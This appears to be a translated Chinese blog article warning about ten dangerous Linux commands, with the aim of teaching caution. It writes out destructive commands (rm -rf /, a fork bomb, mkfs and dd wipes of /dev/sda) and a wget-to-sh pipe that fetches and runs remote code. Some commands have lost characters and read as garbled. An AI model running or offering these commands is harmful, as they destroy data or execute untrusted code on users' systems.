我们专注于Java 领域的高质量技术帐户。欢迎关注。
Linux 命令行可能有用、高效且有趣,但它也可能很危险,特别是当您并不真正知道自己在做什么时。
尽管本文介绍了10 个命令,但我们建议您不要“尝试”它们。
当然,下面的命令通常是在root 权限下运行,以证明它们的愚蠢,而在普通用户的身份下,它们只会摧毁你自己三分之一的土地。
rm -rf 命令
rm -rf 命令是删除文件夹及其内容的最快方法之一。
最轻微的错误或无知都可能导致不可恢复的系统崩溃。
以下是rm 命令的一些选项:
rm 命令通常用于在Linux 上删除文件。
rm -r 命令递归删除文件夹,包括空文件夹。
rm -f 命令可以直接删除“只读文件”,无需确认。在Linux上删除文件时,文件是否只读并不重要,只要其父目录是否有写权限即可。所以-f参数只是表示静默删除,无需每次删除都确认。此外,虽然原始rm 命令实际上没有删除提示,但常见发行版通过别名向rm 添加-i 参数以要求确认删除,而-f 则抑制此提示。
rm -rf/: 将强制删除根目录中的所有内容。
rm -rf * : 强制删除当前目录中的所有文件。
rm -rf . 强制删除当前文件夹及其子文件夹。
以后运行rm -rf 命令时要小心。为了防止使用“rm”命令删除文件时发生意外,您可以在“.bashrc”文件中为“rm”命令创建一个别名。系统会要求您确认每个删除请求。
注意:大多数发行版已经这样做了。如果没有,请这样做。另外,在使用-f 参数之前请仔细考虑您在做什么。译者本人也经历了血泪的教训。
:(){:|:};: 命令
这是叉子炸弹的示例。
具体操作是定义一个名为“:”的函数。该函数调用自身两次,一次在前台,一次在后台。它会反复运行,直到系统崩溃。
命令 /dev/sda
此命令将给定“命令”的输出写入块设备/dev/sda。
该操作会将块设备中的所有数据块替换为命令写入的原始数据,导致整个块设备的数据丢失。
mv 文件夹 /dev/null
此命令将特定“文件夹”移动到/dev/null。
在Linux 上,/dev/null 或null 设备是一个特殊文件,其中写入的所有数据都会被清除,并且写入操作会成功返回。
当然,注意这个命令不会干扰数据恢复软件——。因此,需要使用特殊的软件或技术来完成实际的完全销毁。
wget http://malicious_source -O- | sh
此命令从(可能)恶意源下载并执行脚本。
Wget 命令下载脚本,sh 命令(无条件)运行下载的脚本。
注意: 您应该始终注意下载的包或脚本的来源。仅使用从可信来源下载的脚本/程序。
mkfs.ext3 /dev/sda
上述命令将格式化块设备“sda”。该命令格式化块设备(硬盘),直接使系统处于不可恢复状态。
通常,/dev/sda 等设备不会直接使用,除非将其用作原始设备。
正常情况下,需要将sda划分为sda1、sda2等分区来使用。当然,无论你使用sda还是sda1,mkfsing这样的块设备或分区都是灾难性的,上面的数据都会消失。
file
该命令常用于清除文件内容或记录命令输出。
但是,在运行之前,请确保输出文件为空或不存在。否则,您将无法恢复原始文件。 —— 即使数据恢复软件也可能无法提供帮助。
您可能真正想要使用的是“”,它将新输出累积到文件中而不是刷新它。
如果你错误地执行了上面的命令或者在什么都不知道的情况下输入了类似“xt.conf”这样的命令,你的配置文件和其他系统配置文件将会被覆盖。
^foo^bar
该命令用于编辑先前执行的命令,而无需重新输入整个命令。
如果不仔细考虑修改原始命令的风险,那么在使用foobar 命令时可能会遇到真正的问题。
dd if=/dev/random of=/dev/sda
此命令将随机垃圾文件写入块设备sda,擦除数据并使系统处于混乱且不可恢复的状态。
还记得我上面说过的mv to blackhole 不会永久删除您的数据吗?这个命令允许您永久删除您的数据。当然,为了以防万一,你可以多次覆盖它。
隐藏命令
以下命令实际上是上面的第一个命令(rm -rf)。
这里的代码隐藏在十六进制中,因此毫无戒心的用户可能会被欺骗在终端中运行以下命令来擦除根分区。
真正的危险是隐藏的,不容易被发现。你必须时刻意识到你所做事情的后果。
不要编译/运行来自未知来源的代码。
今天要介绍的命令到这里就结束了。不要在服务器或其他设备上“尝试”。
原创文章,作者:小条,如若转载,请注明出处:https://www.sudun.com/ask/85027.html